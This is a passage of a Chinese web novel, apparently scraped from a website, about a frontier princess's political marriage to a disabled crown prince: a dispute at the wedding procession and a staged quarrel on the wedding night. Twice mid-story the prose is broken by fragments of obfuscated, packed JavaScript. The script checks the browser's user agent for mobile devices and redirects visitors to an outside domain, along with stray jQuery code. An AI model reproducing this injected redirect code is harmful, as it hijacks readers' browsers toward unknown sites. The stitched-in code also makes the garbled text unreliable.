“离原大雁一双,嘉州绮罗缎面绣十匹,点翠栖凤麒龙成钗一对,纯金圣冠酉鸡六十四对,云丝二十批,玉质辟毒筷一双,绿浮玉锦琴一架,骨萧一支……”这唱词足足念了有半个时辰,每一页礼单的起始都有礼炮做前奏,伴上众人的惊呼。 那声音逐渐飘远,阿诗勒津的目光落在了院中的嫁妆与聘礼上,忽然一把扯过祁枭,速度太快,竟让这位六岁便上了战场的 侯爷一时没反应过来,来不及格挡“阿诗勒津!”杯中的茶泼湿了他的衣襟。 “祁枭,院里面的东西,一定要让妹妹带走,这些必须全部都是她的嫁妆,你不许拿。” “阿诗勒津,那是我嫡亲的妹妹!” “妹妹,我现在就给王兄写信,让他再给你添一点儿,大不了从我这里出。” “二表兄,你可别再给大表兄惹事儿了,我也不要你的老婆本,我这些就够了,阿爹和父亲给我们留下不少私产。” 扯淡,要是真有不少,就不会如此被动了。 祁允辞望向暖阁外的那棵长的奇丑的桃花树,希望万事顺遂,可别再在婚礼上闹幺蛾子了。 此时年轻的政治家们还不知道,以后的史学家讲起大梁元和帝年间的事,最爱切入的时间点,便是这位倾宁郡主与太子的大婚,世家、皇权、军权,随着这场婚礼的进行都逐渐找到了自己的位置,这个时间点,上接镇北侯收复失地,与庆州知州黑市案,下接当权者权力的更迭,与盛世的开创。 只可惜,处在那个朝代的人们还不知道,只是单纯的翘首以盼着,这场典型的政治联姻所塑造的盛大婚礼。 4. 侯府门前惹不满,恣意妄娶天家子 祁枭和阿诗勒津在今夜都有些睡不着,月光莹莹落下来,映在火红的灯笼上,昭示着明天大喜的日子,外面的银丝碳还燃着,两人站在桃花树下,共同眺望着侯府内最为精巧的一处建筑,那是燕王和父亲共同为阿允建的,从亭台水榭,到秋千回廊,都是大梁贵族之间最为时兴的样式,而流水边的碧落轩内还放着昨夜几人饮酒时用的小火炉。 “阿允,明日就要嫁人了。”阿诗勒津看着重新换上红色绸缎的桃花树,将昨日未喝完的女儿红搬出来,又递给祁枭。 “你们大梁不是最讲究落叶归根吗?也不见你们修个祠堂,这酒都不知道该怎么烧给侯爷和燕王殿下。” 祁枭拿起酒,眼中有着浓重的化不去的悲伤,站不稳似的被阿诗勒津一把搀住,又一起跪在了地上,哪怕是日日让人扫了庭前落雪,身上的薄衫还是一瞬间就被霜雪沁湿了,夜深露重,骨头都泛着寒。 “祁家人的宗祠,在陇右道,不在京都。”祁枭将手中的酒尽数洒在桃花树旁,冲其遥遥一拜“父亲,阿爹,小妹要嫁人了。” “燕王小叔,侯爷,我可要向你们告一状啊,这两小子做事,从不和人商量,一转头就都扛下来了。”阿诗勒津的声音有一瞬哽咽,可在低头抬头的瞬间,又回到了草原大漠跑马时的爽朗“你们快看,我大梁的官话说的越来越好了,小叔,侯爷,你们放心,宛月族是被天长生的神女所庇护的民族,是飞天的神马替我们寻得的居处,阿允会受神女庇护,福泽绵长的。” 祁枭缓缓叩首,阿诗勒津的手指滑过额头,那是宛月族的敬礼。 “这是在干什么?大半夜不睡觉?”祁允辞的声音响在身后,不知何时,她顺着回廊走到了亭台旁边,“阿爹,父亲,今日女儿穿了嫁衣,是姑姑缝的,就不跪了,你们瞧瞧是不是特别合身啊?” 火红的嫁衣繁复,层层叠叠的垂在身上,在月光的照耀下显出柔和的美,却也依旧扎眼,看不清纹路的刺绣爬满了嫁衣,那是做姑姑的为侄女的谋求,求一个平安顺遂,其实那件嫁衣的内衬上,还用金丝暗纹绣着一只憨态可掬的小狐狸,若是所遇良人,还可以在红烛下共赏。 “合身。”祁枭替自己妹妹整理了一下婚服,害怕被露水沾湿,尾摆被阿诗勒津提在手中。 “阿允。”祁枭拂过她微卷的长发,轻轻又唤了一声“妹妹,长大了。” “是啊,长大了,再也不会被阿爹抓住,蹲在这桃花树上受罚了。” 武帝年间,燕王这位由宛月族皇贵妃所生的幼子,同镇北侯府当年的小世子交好,在嫡长女祁栖嫁给当年还是太子的景帝后,武帝同意了一份冒天下之大不讳的婚书,燕王殿下以男子之身与镇北侯世子祁御成婚,自此琴瑟和鸣,佳偶天成。 景帝与皇后执掌天下,燕王与镇北侯镇守四方。 这棵桃花树便是这四人年幼时一起种下的。 景和四年,镇北侯祁御,从战场上捡回了刚满三岁的祁枭和尚在襁褓中的祁允辞。侯府和皇宫内的鸡飞狗跳,也随着宫内两位嫡子的出生拉开了下一个序幕。 “所以说,这桃花树之所以是个歪脖子,纯粹是因为你们翻墙踩成这样的?” “更正一下,是被阿爹罚的。” “我以为就你祁允辞女扮男装玩的是风流,祁枭,没想到你更不是个东西,还说我不该逗姑娘玩儿。”阿诗勒津爆发出一声不满,弄得祁枭额角的青筋直跳。 “你看他出去打仗,寒冬腊月的都带着他那破羽扇,就知道他不是个什么正经人。”祁允辞仰头灌了一口酒,笑着说道: “那年他刚满十六岁,才打了胜仗,风头无两,带着我去逛青楼,下赌坊,一手琴技将人家花魁逗红了脸,喝醉了酒后啊,就在京城最大的赌坊,最高的那层阁楼上,踩着细细的栏杆,拿着一把世家公子最爱的折扇,舞起了剑招,好不风流。” “我的个天长生的神女啊!”阿诗勒津发出一声惊呼,觉得自己在宛月族赛马折花送美人干的事情实在太俗了。 “然后呢?” “然后这事儿闹到了阿爹那里,当夜,拎着弓就站在这棵桃花树下,祁枭刚翻过来,就被一箭擦过面颊惊得摔在了地上,连带着我一块儿踩空了。”祁允辞满眼都是笑,像是一只偷腥的猫,得了便宜还卖乖“都怪他,我摔的可疼了。” “是你非要跟着我的。”祁枭不满的打断道。 “然后呢。” “然后啊,阿爹就要上手来揍我们,父亲出面阻拦,这下好了,阿爹更生气了,直接让我们三个,背着石头,在桃花树的树枝子上蹲了一晚上。” “我以为,燕王小叔会让你们去跪祠堂。” 祁允辞一摆手“不是说了吗,祠堂在陇右道,哪在这儿啊。” “还有更有意思的。”祁枭在一旁接话“本来以为这事儿已经过去了,阿爹和父亲带着我们回到陇右道军当晚,第一件事儿,就是去跪祁家的列祖列宗。” 几个人喝着酒,笑着,闹着,祁允辞觉得自己有些醉了,倚在水榭的凭栏处,望着不知又因哪一句话得罪了祁枭的阿诗勒津被按在了地上,高呼“你是不是玩不起。” 祁允辞笑的眼泪都出来了,一抬头,正对上侯府满院的张扬的红,与地下放着的嫁妆都被落雪映照着,最后氤氲出水汽化在了眼中。 “请太子妃抬头,这是陛下新赏的一觞画眉,正是千里加急送来的。” “烦请姑姑替我谢过陛下。”祁允辞眉如远山而蒙薄雾,唇如红霞而添胭脂,略一拱手,这是陛下特许,今日嫁娶,只谈亲家,不谈君臣。 侯府的今日从天还未亮时便已经开始忙碌,宫中来的宫女们正有条不紊的替祁允辞梳妆打扮,喜娘在一旁看着时辰,生怕误了吉时,又说着逗趣的吉祥话,侯府内没有女性长辈,全靠着皇后娘娘出面打理。 “郡主过了今日便和娘娘是一家人了。”皇后宫中的掌事姑姑秋水亲自为这位中宫继子处理婚事。 此时祁枭和阿诗勒津等在侯府门口,招呼着前来送礼的官员们,正所谓热闹非凡,鹰隼从阿诗勒津的肩头骤然起飞,略微惊了一下王御史,随后面色如常的夸了一句“二王子这鹰好啊。” “王大人过誉了。” 那鹰隼盘旋而上,遨游于京城这方寸之地,由上俯瞰。 京城内从里到外,从街道到院落,都因为这场婚礼而振奋,沸腾,储君娶妻,那是何等热闹非凡,百姓夹道而迎,有的大着胆子将身子探过羽林卫和镇北军,想要找到一个较好的位置,一是去数嫁妆凑热闹,二是抢银宝与蜜饯。 “侯爷,王子,迎亲的队伍从东宫出发了。” 阿诗勒津和祁枭十分忙碌此时镇北侯府的门槛都要被踏破了,镇北军中的将军们也是各个忙的天昏地暗,最主要的是这些东西对他们来说实在是瞎子看文章,两眼一抹黑。 “来了,来了。” 东宫接亲的队伍绕了皇城一圈,总算是在夹道欢迎中走到了镇北侯府的门前,祁枭和阿诗勒津站在门前,可自看见高头大马上坐着的人,与那两抬迎亲喜轿时,骤然变了脸色。 两姓联姻,没有男方用两乘喜轿的道理,不论里面坐着的是谁,这都是娶平妻的礼仪。甚至那高头大马上坐着的不过是东宫里的一个侍卫。 按大梁惯例,在新郎官行动不便的情况下,应以家中血亲迎亲,若要任用他人,理应送更名贴,而此时不仅没有名帖,还有违礼制,这是将镇北侯府的面子放在地上踩。 “臣等见过太子殿下,请太子殿下安好,恭喜殿下喜结良缘。”诸位大臣于侯府门前,先作揖行了礼。 “孤不便下车,还望侯爷和王子见谅,替孤向太子妃赔个不是。”贺遇的声音从另一辆正红色的喜轿中传来,素白修长的手指随意勾了勾,便算作让大臣起身了。 荒唐。 祁枭的手骤然握紧,随后才缓缓松开“还请殿下先作催妆诗,太子妃正在梳妆。” 坐在轿子内的贺遇轻轻敲着茶盏,手边放着的是今早管家放于车内,用来应付催妆诗的纸稿。 下面的人总会自作主张,看着太子爷对太子妃不重视,自有人随意轻视,就算是扎根漠北,为国为民收复失地又如何,就算你身份尊贵又如何,你不过是一名女子,艳俗的诗句总会安在你的身上。 贺遇意味不明的笑了一下,随手将这堆纸给扬了,自言自语道“孤当真是治下不严啊了,都敢揣测孤的意思了。” 镇北侯府外安静的能听见雪水滴落的声音,阿诗勒津咬住了舌尖,若不是祁枭死死拽着他,此时他估计早已出言不逊。 “殿下?”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14596596|155987||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 祁枭轻声地催促了一句。 “祁家兄长勿怪,孤不愿唐突太子妃,脑中诗句总难和令妹相配,此时才略成了一首。” 贺遇缓缓解释道,宛若清泉碰上了河中的石头,激荡出凌冽地声响。 阿萤步伐轻盈,踏雪无痕,留下一阵影,风似的跑到祁允辞身侧,朗声念到“催妆诗成,殿下口述: “昔日白玉京中宴,偶见娇狐贵自然。今时银粉饰金钿,七凤香满镜台前。” 红色的盖头正落在七凤七彩的凤冠之上,镜中美得不可方物的人儿挑了一下眉,由喜娘放下盖头遮住了面。 “恭喜太子妃,贺喜太子妃。” “孤不过是此时现作一首,不押韵,让诸位见笑了。” 凉风吹过轿帘,朦胧之间露出贺遇含笑的侧颜。 “殿下过谦了。”祁枭面色稍霁,刚准备开口,却被阿诗勒津拉住了。 “太子殿下,侯爷这就去迎阿允。”阿诗勒津向祁枭使了个眼色,略拱手,行了一个标准的大梁礼节,复又开口说道 “臣有一事不解,还望殿下替臣解惑。” “大梁太子娶正妻的礼节,应是如此吗?” “哈。”轻笑声传来“大梁自古没有双腿残疾的太子,这没有可参考的先例,要不王子教教孤该如何做?” 话音刚落,前来送礼的大臣们却软了腿,纷纷跪下,左相率先出声“还望殿下息怒。”随后又厉声说道“二王子,这里是大梁,可不是你们宛月族的王帐。” 就在此刻,喜娘的声音传来,祁枭背着祁允辞跨过了内院的门槛,吸引了众人的目光,贺遇掀开了一角,撑着额头,定睛看着窗外,不经意间悄无声息地勾了勾唇。 “起来吧,奏乐,迎太子妃。”贺遇说道,带着一点咳嗽的气音。 坐于高头大马上的侍卫凌霄早已翻身下马,对着祁允辞行了一个跪礼,伸出手,准备扶太子妃上轿撵。 可惜,祁允辞却岿然不动。 眼前是猩红一片,只能看见影影绰绰的影子“妾身真是倍感荣幸,竟让太子亲自骑马相迎。” 此话一出,四周大臣无一人说话,四大贵族的掌权者们事不关己高高挂起,下面的大小官员心中震颤,唯有左相再次皱起眉头。 “不必荣幸。”清脆的茶盏撞在轿内的案几上“太子妃的美貌还治不好孤的腿疾。” “原来如此,那想必马上骑的必是哪一位皇子殿下吧,朝瑶失敬,毕竟侯府并未收到更名贴。” “还请太子妃不要误了吉时。”秋水刚准备抓住祁允辞,将人送上喜轿,就被阿诗勒津截住了,那一双茶色的眸子泛着一点儿难以察觉的绿,好似保护族群的狼王,随时都能咬下敌人的一口肉来,让人遍体生寒。 “主子都未说话,有你这个奴才插嘴的份吗?” 祁枭往前一步,腰间并未别羽扇,反而配上了燕王的宝剑,环胸而立,挡在众人面前,遮住自己的妹妹,连羽林卫都不敢私自催促。 “那太子妃认为该如何?”贺遇的嗓音依旧平和,甚至带着一点儿哄骗的柔情,端着一杯茶细细的品着,饶有兴趣的望着站在众人中间的姑娘,那是他的妻子。 “太子殿下。”祁允辞的一袭红妆映着白雪,站在众人面前,说不出的养眼,她朗声说道“大梁重礼,一没有娶正妻,而两乘喜轿同行的道理,二没有未送更名贴,算八字便来迎娶的先例。” “太子妃有话直说。”哪怕到了此刻,贺遇都没有丝毫生气的表现,就像是飘然于人世之外的仙人。 忽然中间的人动了。 好像一只狐狸。 贺遇感慨了一句。 随后那盖头便已经被北风带着落到了地上露出凤冠,头上的珠翠相互碰撞着发出脆响,汗血宝马扬蹄嘶鸣,祁允辞跨马而上,单手握住缰绳,嘴角笑意不减,在众人的惊呼与不合规矩的劝说声中,恣意妄为。 给京城的百姓们留下了难以磨灭的印象。 “殿下,武帝十四年,镇北侯府门前也曾有过一位皇子乘喜轿而来的先例,咱们不如遵此例。” “将军打马走,皇子婚车行。” “殿下,你收拾收拾嫁给臣妾可好?” 贺遇手指微微弯曲,意味不明的轻声说道“好没规矩啊。” 5. 宠臣骄纵惹不满,郡主大闹东宫夜 祁允辞回头,与贺遇对上了视线,穿过人群,遥遥相碰,激荡出火花与狂放不羁。 “殿下,可愿为臣妾下令,奏乐,迎亲。”祁允辞拽动缰绳,烈马嘶鸣,好似也在无言的催促。 “这不合规矩,殿下,郡主!”左相厉声开口,不断示意祁枭将祁允辞弄下来,奈何此时年轻的镇北侯与宛月王子铁了心要为妹妹讨公道。 “行了,奏乐吧。”贺遇没有计较此时的无礼,甚至应承下了祁允辞此时大逆不道的话,“若是郡主有这个能耐娶,孤嫁又如何?” 阿诗勒津直接点燃了镇北侯府门前的烟花,白日焰火,炸了个火树银花。 四周的人就算再觉得没有规矩,在此刻也不知该如何开口,毕竟在场最尊贵的这群人,不是静看闹剧,就是年少轻狂。 “慢着!” 一阵又一阵马蹄的急促声掀起烟尘,大皇子、三皇子、五皇子打马疾走,众人还未行礼,就被一句圣上口谕压的跪在了地上。 “皇兄皇嫂特许不必跪迎圣旨。”三皇子弯腰,刚准备扶起已经下马跪在地上的太子妃,却被她微微闪身,避开了。 三皇子表情不变,自然而然的收回手,直接开口“传圣上口谕:‘太子成亲,有违礼制,唐突佳人,天家兄弟未能做百姓之表率,该罚。但诸位爱卿与朕理应为太子贺新婚。” “臣等遵旨。”从百姓到大臣纷纷应答。 “是臣弟的不是,这几日身子不适,竟让太子皇兄与皇嫂闹了不愉快。” “几位殿下说笑了,是臣妾逾越了,更没有同太子殿下有不愉快的地方。”祁允辞见好就收,虽说不能落了镇北侯府的面子,但同样也不能太让皇上下不来台。 “臣弟扶皇嫂上喜轿?” “不必了。”祁允辞抬头,刚好撞进了贺遇的眼里,他漫不经心的轻轻叩着窗棂,语气温和“是孤考虑不周,奈何孤的几位皇弟皇兄恰巧病了,替太子妃赔不是,不知孤可还有幸邀请太子妃同乘。” “殿下玩笑话。”祁允辞款款而来,在阿萤的搀扶下踏上了喜轿,手搭在了一只苍白的手上,骨节分明,带着凉意,手心干燥。 祁允辞还未站稳,便被紧紧握住“太子妃小心啊。”不怀好意的声音响起。 猛然之间,一股劲将祁允辞拽进了轿内,瞳孔微微放大,繁琐的嫁衣阻挡了她的步伐,但也在一瞬之间调整好了身形不至于让自己狼狈,单膝跪在了贺遇的腿边。 仰头,两人四目相对,祁允辞一只手被牢牢握住,而另一只正好伏在贺遇的腿上,不断收紧,好似试探着什么,呼吸交织,喜轿微微震动。 “皇兄皇嫂?”五皇子率性开口“可是出了什么事儿?” “无事,孤替你皇嫂整理嫁衣呢。” 贺遇的气息吐露在祁允辞的两侧,轻轻的拂过她的面颊。 苍白的手指扣住了祁允辞的脖颈,不断摩挲,收紧,又松开,最后缓缓下滑,落在衣领处,替她理好了发尾略显凌乱的头饰。 “郡主真是美人啊。” “殿下也是,殿下这双眼睛可真是好看。” 祁允辞跪在地上,笑容不变,哪怕处于劣势地位,依旧想要从气势上压过对方。 “呵。”贺遇哂笑,将人拽了起来,正好落座于他的身侧,不知从哪里摸出来一方盖头,轻轻搭在了祁允辞的头上。 “殿下知这盖头留不住?” 祁允辞的眼前再次被猩红色遮盖,只能于朦胧中去拼凑此时贺遇的神情。 “想要娶太子妃,总还是做了万全之策的。” 祁允辞的手指蜷缩,自顾自回想着刚刚手中的感觉。 就在此时,外面的声音打断了祁允辞。 “咳咳,本宫身体不适,此时又来的过于急躁,竟一时之间难以上马,咳。”三皇子掩面咳嗽了两声,抓着缰绳,好似抱歉的露出温和的笑意,可眼神却落在了祁枭的身上。 祁允辞听到这话,手指骤然抓住了帘子,刚准备拉开,却被贺遇扼住了手腕“孤劝太子妃最好不要乱来,你们镇北侯府全了自己的面子,总要让陛下找回点儿什么,不是吗?” 祁允辞仰头,看着倚在软枕上喝茶的太子,咬了咬牙,“殿下不为臣妾出头吗?” “郡主刚刚不还妄图求娶孤吗?孤哪有这能耐啊,孤就想做个混吃等死的皇子。”贺遇带着笑意的说道,轻轻拂过茶盏,白色的雾气慢慢在喜轿中氤氲“郡主,《列国志》中曾记载有受大辱者而成王侯的,与此刻相比,侯爷是受不得天家恩赏吗?” 祁允辞的手指慢慢滑了下来,语调依旧四平八稳,就好像刚刚的情绪外泄不存在一般“殿下教训的是。” …… “臣来替殿下牵马。” 祁枭解下佩剑,刚好砸在刚准备开口的阿诗勒津身上,一个眼神逼退镇北军旧部,恭恭敬敬对着三皇子行了一个礼,拿过缰绳,躬身,送他上了马。 “劳烦侯爷了,启程,奏乐,不要误了时辰。”三皇子贺景川高坐马上,对着周遭拱手,率先驾马,乐声骤起,恰好合上最后的吉时,结束了这场闹剧。 …… 此刻坐在喜轿内的二人井水不犯河水,红色的喜服将两人衬托的面容姣好,本应亲密无间,彼此纠缠,奈何茶水升腾的雾气都阻隔了眼前人的面容,看不清也道不明。 在滚滚向前的车马迎亲队伍中,祁允辞的手揪着薄纱,却始终没有再掀开帘子,此时此刻她才真正对出嫁有了实感,她可能再也回不去陇右道了,看不见漠北草原肆意奔跑的骏马,从此望千山,白玉京身侧而离原北遥遥。 “殿下,你知道宛月族成亲有一项规制吗?” 祁允辞打破了静谧,漫不经心的开口,好似并不在意。 “据说宛月族是神马带着族人找到了世代栖居之所,落地成泉,天生地长了一位神女,自此牛羊伏地亲吻她的裙角,宛月族的每一个人成亲,都需要去拜别神女,而供奉之地,被称为离原北。” 贺遇手撑着额角,语气平缓,带着轻柔“太子妃是想家了吗?” “没有。” 祁允辞听见一旁响起一声轻笑,“太子妃还是趁着机会好好想想家吧,毕竟,等会儿就没这么悠闲了。” 贺遇的话音刚落,就听见外面的喜乐声逐渐减小,宫门大开,却拦住了步行至此的祁枭贺阿诗勒津的脚步。 “皇兄,皇嫂,别让父皇母后等急了。” 祁允辞被阿萤扶下轿,贺遇紧随其后,由凌霄推着轮椅,一同前往大殿先拜见陛下,随后再同往东宫。 祁允辞终究还是没能忍住,回头望了一眼,唯有祁枭和阿诗勒津鹤立鸡群,站在那里,甚至冲她挥了挥手。 …… “儿臣见过父皇母后。” “好样的,都是好孩子。”皇后坐于明堂之上,笑着夸赞道,甚至连陛下都未曾计较祁允辞于镇北侯府门前惹出的闹剧,受了他们二人的礼,便随着一同前往东宫。 在一拜天地,二拜高堂的唱礼声中,贺遇牵着红绸段,坐在轮椅上,看着祁允辞一拜再拜,将身子压的极低。 四周响着鞭炮声,低声的交谈声,夫人小姐们的凑趣声,虽因陛下到场而显得拘谨,但依旧是前所未有的热闹。 在送入洞房的笑闹声中,陛下离席,不让这些大臣们再感到放不开。 这场婚礼,汇集了大梁往后近五年的朝中重臣,有人埋骨无人问,有人平步上青云,但大家此刻都喝着同一杯喜酒,祝福着同一对新人。 …… 祁允辞坐在内室,红烛慢慢的燃烧着,流着泪,漫天的红色重重压在她的身上,从黄昏一直到现在,听着前厅的热闹逐渐平息,只是扯了盖头,和阿萤、更星两人吃着床上的桂圆和红枣。 “更星,去,问问府里还有什么吃的。” 祁允辞叹了口气,等的愈发不耐烦,自东宫的婢女叫喊着说她不合规矩,不能私自掀开盖头起,便已经被她赶出了门。 “更星,要热乎的,去厨房拿三碗来。” 祁允辞从婢女手中接过碗,一看,就三个饺子,默默闭了闭眼,直接拿过筷子,就打算垫吧两口。 “太子妃,这不合规矩。” 那婢女噗通一声跪在了地上,连带着后面的人一起,那浑身颤抖的样子,就好像她吃了这碗饺子,她们就死定了一般。 “那你说说,我要怎样才能吃点儿东西?” 祁允辞将碗种种放在了桌子上,清脆的撞击声吓的人一个激灵。 “抖什么?说。” “要,要太子殿下,亲至。” “他来了吗?”祁允辞没让人起来,就这样随意坐在床头,手指敲击着一旁放着花瓶的柜子。 一下,两下。 “请,请太子妃息怒?” 祁允辞哂笑“息怒?那你去替本宫催催太子殿下啊,告诉他,他要是再不来,本宫就要饿死了。” “奴婢,奴婢,不敢。” 盖头被祁允辞扔在了地上,相同的话,她在半个时辰之前,从另一个宫女的口中早就听见过了。 “行了,起来吧。”摆摆手,祁允辞也懒得再为难这些下人,就在此时,岁华推开门,轻轻唤了一声“郡主,太子殿下在怡香阁。” “太子妃,这不合规矩,不可私下窥探太子行踪,这是……” 那宫女话还没说完,就被劈在桌上的宝剑吓的彻底失了声,瘫坐在地上。 实木的桌子经不起这柄神兵利器一下,就四分五裂开来,连那碗饺子也碎了,汤洒了一地。 “走,咱们去见见太子殿下。” 此刻的贺遇正在怡香阁内,大厅里的婚礼早已结束,他本应去同他的正妻行周公之礼,却偏偏窝在此处,看着歌女舞姬。 “殿下不去见见太子妃?” 李径寒作为太子门客,伺候一旁,适时的开口问道。 贺遇挑眉,就好像在他的后院里谈论这种大不敬的事不会有任何问题一般“陛下不会希望孤同祁允辞琴瑟和鸣的。” 他尝了一口酒,有一搭没一搭的说这话。 “殿下还有更温和的做法,何必将郡主闹得如此难看。” 贺遇瞥了他一眼,李径寒自知失言,站起身告了罪,又被一笔带过“郡主厉害着呢,孤的态度不会影响她在后院里的地位。” 就在此刻,殿外传来更为嘈杂的声音,凌霄急匆匆地赶来“殿下,太子妃提剑闯进来了。” 别说已经瞪大眼的李径寒,就算是贺遇他自己都没想到,这个长在边外,备受宠爱的郡主能有这么大的胆子。 还没等他让人将人请进来,就被一柄薄如蝉翼,剑柄挂着红色穗子的宝剑晃了眼,凌霄快速出手,将其击向另一侧,避开太子,直愣愣落在李径寒面前的案几上,正好竖直插入,引得他端酒的手一抖,洒出来,沾湿了衣袖。 好,好烈的女子,还好,还好,我的妻子不会如此。 他咽了一口口水,赶紧跪下,向门口的太子妃行礼。 此时,不论是贺遇还是祁允辞都穿着今日的喜服,甚至连殿内都燃烧着红烛,只是可惜,鼓瑟乐声,刚刚才停。 祁允辞敷衍的行了一个礼,越过众人,向贺遇走过去,而此刻的太子眼中盛着兴味,就好像刚刚那柄冲他而来的剑,并没有引起他的震怒。 “是柄好剑。” “殿下谬赞,比不过殿下新婚之夜宝刀未老。” 李径寒刚站起来喝口酒压惊,就又被呛住了,连贺遇都扬了扬眉,没想到她能彪悍成这样,可又忍不住撑着额角低声笑了出来。 “郡主这是想干什么?” “那殿下又在干什么呢?红袖添香?” 祁允辞拔下剑,慢慢放在手中擦拭,而凌霄更是如临大敌。 祁允辞挽了个剑花,剑尖停留在每个跪在地上的人面前,乐师也好,舞女也好,歌姬也罢,甚至是门客,护卫,最后落在贺遇的面前。 “做门客,而不知劝解主上,做护卫,却不能护主于外,做奴婢,却泄露主家行踪。”祁允辞轻笑“殿下,您可真够仁慈啊专收些歪瓜裂枣。” 贺遇指尖夹 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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两人没有再谈论其他的话,只能听见碗与勺相碰发出的细碎的声响。 虽说祁允辞饿极了,但也只是动作极快,依旧有着充满野性的奇特的优雅。 “太子妃,你将人全赶出去了,也没吩咐备点儿吃的,你的人怕是要饿肚子。” “不会,殿下,她们聪明着呢。” 祁允辞风卷残云解决完自己的肚子,偏过头,眼神相互碰撞之间,便已知晓对方所想。 祁允辞直接扫掉了碗,霎时间将候在门外的侍从们吓了一跳,她质问道,声线颤抖好似受了莫大的委屈“殿下,妾身知悉您早已心有所属,可您不能如此下妾身的面子啊,洞房花烛,您与歌女对坐,将镇北侯府放在何处啊?” 贺遇这下是真露出了惊叹,没想到她能说哭就哭,那挂在睫毛上的泪珠将落未落,却偏偏倔强的仰着头,微红的眼眶配上昏暗的烛火,真真的我见犹怜。 “放肆!谁给你的胆子质问孤?”贺遇瞬间接上戏,在这个空挡,他还给祁允辞递上了一碟剥好的贡桔,才接着说“孤是君,镇北侯府不过臣子,你竟敢拿军功压孤,谁给你们的胆子?” 祁允辞咬了一口橘子,入口回甘,不愧是贡品,她有些不太舍得摔,干脆直接跪在了地上,浑身颤抖“妾身不敢,只是新婚之夜,妾身却要对着红烛垂泪至天明,让妾身如何甘心啊殿下。” 凌霄听着房内的争吵,人都傻掉了,他实在不明白刚刚还不可一世的太子妃怎么忽然惹了太子生气。 而李径寒此刻绕过了堵在门口的更星和阿萤,去找了还未离开的秋水姑姑,却未曾想竟和岁华撞在了一起。 “秋水姑姑,万望姑姑救救我家太子妃,求您去宫内和皇后娘娘说一声也好啊,太子要杀郡主。” 李径寒眼皮一跳,这是谎话张口就来啊。 “李先生又为何至此?” 此刻秋水在听见岁华哭诉时,便早已差人去宫中报信了,之所以太子荒唐到夜宿歌女处时没去,只是因为乐见其成,太子与郡主不和,这对皇后和三皇子有利,但此刻明显已经收不了场了,她的额角直跳,生怕听见更坏的消息。 “还望姑姑尽快去请一道旨意,再闹下去,恐怕就是茶余饭后的谈资了。 这不着调的太子何时不是谈资? …… 皇宫内,皇后听到这话,也是愣神,而皇上穿着寝衣,正坐在榻上看书也是直骂荒唐,“告诉贺遇,今日新婚,要是再敢提他那个什么救命恩人,就给朕禁足东宫,好好想清楚自己是个什么身份,肖培安,你亲自去。” “是。” …… 东宫内,祁允辞和贺遇都跪在地上,听着肖培安送来的口谕,根本不敢有任何不满,只余祁允辞轻轻的啜泣声。 “哎,太子妃莫要哭了,新婚之夜,皇上和娘娘都是站在您这边的。咱家也要回去复命了,恭贺太子与太子妃新婚之喜。” 岁华送上一大把金瓜子,而祁允辞和贺遇此时也被扶着起身。 凌霄在前,推着轮椅,而祁允辞落后一步,共同前往婚房,此时房内的烛火还燃着,默默地将四周照的明亮,映出二人的残影。 “太子妃可想要共剪烛火?” “太子可需帮忙?” 两人同时开口,却又诡异的安静下来,室内只有着名义上的夫妻,总还是显得尴尬。 “不必,就寝吧。” 祁允辞拆下自己的凤冠与珠翠,活动了一下早已僵掉的脖颈“既然如此,那臣妾就先沐浴了。” 贺遇摆了摆手,自己移动轮椅,去了偏殿。 等祁允辞出来时,贺遇早已躺在了床上,手中正拿着一本书随意翻动着,看见她出来,也是一时无话可说。 两人都有些尴尬最后只得背过身,假装自己早已熟睡。 祁允辞努力将自己的呼吸放的平稳,就像是于战场之上,屏息卧底一般。 而贺遇本就身体不好,平日里呼吸就不够绵长,此刻更像是随时都要挂掉一样。 总之,这一夜,除了红烛肆意燃烧着,室内的两个活物都在装死,就这样睁着眼到了天明。 6. 新婚夫妻入宫时,侯爷离京几家言 祁允辞和贺遇一夜无话,总算是挨到了天亮不得不去宫中敬茶的时候。 华岁和更星取来了太子妃的华服,正准备为祁允辞梳妆,而贺遇却是雷打不动的躺在床上。 “殿下还不起?” 祁允辞仰头,由着更星为她戴上红珊瑚串成的吊坠,随口问道。 贺遇翻看着昨夜放在床头的书,低垂着眼,并不打算唐突这位才同床共枕的太子妃,轻轻说道“随后,阿允先梳妆。” 祁允辞回头,太子妃的这一身行头穿的她好生难受,按了按自己的脖子,斜睨了贺遇一眼,眼神向下,落在他掩藏在被子底下的双腿上,又很快移开,这才开口说道“殿下,莫要起晚了,误了请安的时辰,臣妾去怀安殿梳妆。” 祁允辞行礼,领着人直接推开了殿门,和候在外面的凌霄碰了面,停顿片刻,又补上了一句“臣妾小字朝瑶,殿下不要记错了。” “朝瑶?临于西海之上,多桂,多金玉。好名字,孤记住了。” …… 凌霄伺候着贺遇起身,撑着床沿坐到了轮椅上,他揉了揉额角,轻声咳嗽着,本就略显苍白的面容更添上了几分病气。 “殿下,需要同太子妃一起用早膳吗?” 李管家领着侍女端着足有十六碟的小碗进入室内,行礼后问道。 “不必了,着人仔细伺候。” “是。” 祁允辞站在马车旁,看着贺遇被小心的连人带轮椅一起推上来,略微皱起了眉,回想起她当时伏在贺遇腿上的触感,其实真要说起来,她并不相信贺遇的腿就真的残疾了,毕竟四年前,是她将贺遇这条命救回来的,并治好了他的眼睛,至于腿,只要好生养着,那些毒未必不能拔干净。 “太子妃?” 李管家唤了一声,而祁允辞也迅速回过了神,跟着上了马车,坐在贺遇的身侧,马车宽敞,连毯子上都绣着金线,虽说薄薄的一床,却柔软而暖和,汤婆子被贺遇拿在手中,烫红了他的指尖。 “冷吗?朝瑶?” 贺遇的声线总是带着一丝神性,空灵且不紧不慢,诱使着人能够听下去。 